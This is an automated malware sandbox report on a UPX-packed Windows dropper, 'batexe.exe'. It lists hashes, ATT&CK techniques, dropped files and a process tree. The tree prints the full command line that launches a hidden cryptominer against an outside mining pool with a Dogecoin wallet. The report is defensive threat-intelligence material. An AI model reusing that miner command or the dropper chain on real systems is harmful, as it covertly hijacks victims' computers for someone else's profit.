73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
19/02/2024, 16:39

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
5220	b2e.exe
4728	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4728	cpuminer-sse2.exe
4728	cpuminer-sse2.exe
4728	cpuminer-sse2.exe
4728	cpuminer-sse2.exe
4728	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/5488-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5488 wrote to memory of 5220	5488	batexe.exe	85
PID 5488 wrote to memory of 5220	5488	batexe.exe	85
PID 5488 wrote to memory of 5220	5488	batexe.exe	85
PID 5220 wrote to memory of 1704	5220	b2e.exe	86
PID 5220 wrote to memory of 1704	5220	b2e.exe	86
PID 5220 wrote to memory of 1704	5220	b2e.exe	86
PID 1704 wrote to memory of 4728	1704	cmd.exe	89
PID 1704 wrote to memory of 4728	1704	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5488
- C:\Users\Admin\AppData\Local\Temp\6C47.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6C47.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6C47.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5220
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6F15.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1704
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\6C47.tmp\b2e.exe

Filesize
13.0MB

MD5
fe0331265ea9efe3398d5b3b75b924f3

SHA1
db4299f56cc4c5b72bbea74c4fbd6194bb14445d

SHA256
8484ac5221e7b018f9191604c7033eb4fb7efb2ec64ec1dd0198fc0cf847bd08

SHA512
0aac2bfda1ff52f542c8de70ee75c697b97bc81623077c7a7b8df751d1615f0b13b6e9e23bd1097fbc00c2d9bb5b35027534df671fa4e18d0ad6eaecf834839f

Download Submit
C:\Users\Admin\AppData\Local\Temp\6C47.tmp\b2e.exe

Filesize
5.9MB

MD5
1ad96cb5cd714760aca30e87a8b85803

SHA1
7124bb4d73672aac59919541da0cbd8bdc44b7e0

SHA256
6e77209ce22fa5bcc262b25e55e44a20e77a2888ba97b003a5619031b6df32fb

SHA512
8d60f1f245fdc48f0369c4d9ef88686756af09d4be61b36ba8c992a95b96cc7db2c3c8f38de32227e978e72d3aa1f8061bb362502b6bd810a2902db82d20fcb7

Download Submit
C:\Users\Admin\AppData\Local\Temp\6C47.tmp\b2e.exe

Filesize
7.2MB

MD5
0c4a42069f29400b2ac5a26a1ba68db7

SHA1
35be308ad3ae22fe02484ecfcfbc1bb850a7c5b5

SHA256
4b68fec693a8e1b0711bc0d412c2319e527ea2115eaea23f54e300b596e7f9e2

SHA512
c259904d7ee9c84c937c2478f1acc9410a96b7b6b5004d8496cba6f75b5d35b1415f827304b8d28f8313d28be3d11beecb2e0de91b7563ca3cef63f18e19a94b

Download Submit
C:\Users\Admin\AppData\Local\Temp\6F15.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.0MB

MD5
ba44a0031d9150d7d1feb918e63b2364

SHA1
11fe7bf2ea5dc9c6b09658536703090f6db16d79

SHA256
aba5fbf34a7c15f04d49b115b68d97d02533a05db947ec30c5f0a562fc93f423

SHA512
6572f0ffe4ce2aa39ec403c742597c7c6bebe110893c956a6b92800100e094ff6074996f9e345a6aa710001a1d0ebc49972664b9538195eb6272a80b56c36c68

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.8MB

MD5
01d460784de7d2a3ea20c595bad7156b

SHA1
dc52259811424149c5850038248268c50953358c

SHA256
23fd719f9fc67b03d5f4464465fa5bcf1c476cb19db8f88419ef9c05d0cbd0de

SHA512
11ec3ecdb9a014c334d3e604d70feb4748fab2e1f29dd55167993ff812ac38075f2731976e3eda0a2e7ff0c7aa50e57006c8726f3414d994e345a7d427d8b895

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.2MB

MD5
675f91cd4066c67fcee29cf7c27b6a8c

SHA1
b4ddc6532618aea4c43522f1c37dfdb272f74641

SHA256
6d7eb6cb5a3b65be1f909665815d7b778b498fa8ab0decc4f5a8a5346130ec1f

SHA512
04a8b26dcf2a0d4a602ce21c904c652d43e61dc91dce0d85b6885df614da37e6f5a0686f196cfa7097c971ac89bb94e480a87cd1d80ef2794f7d40eeaeb577e4

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/4728-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4728-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4728-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4728-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4728-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4728-46-0x0000000054460000-0x00000000544F8000-memory.dmp

Filesize
608KB

Download
memory/4728-47-0x0000000000EA0000-0x0000000002755000-memory.dmp

Filesize
24.7MB

Download
memory/4728-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4728-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4728-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4728-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4728-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4728-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4728-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4728-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5220-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5220-8-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5488-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download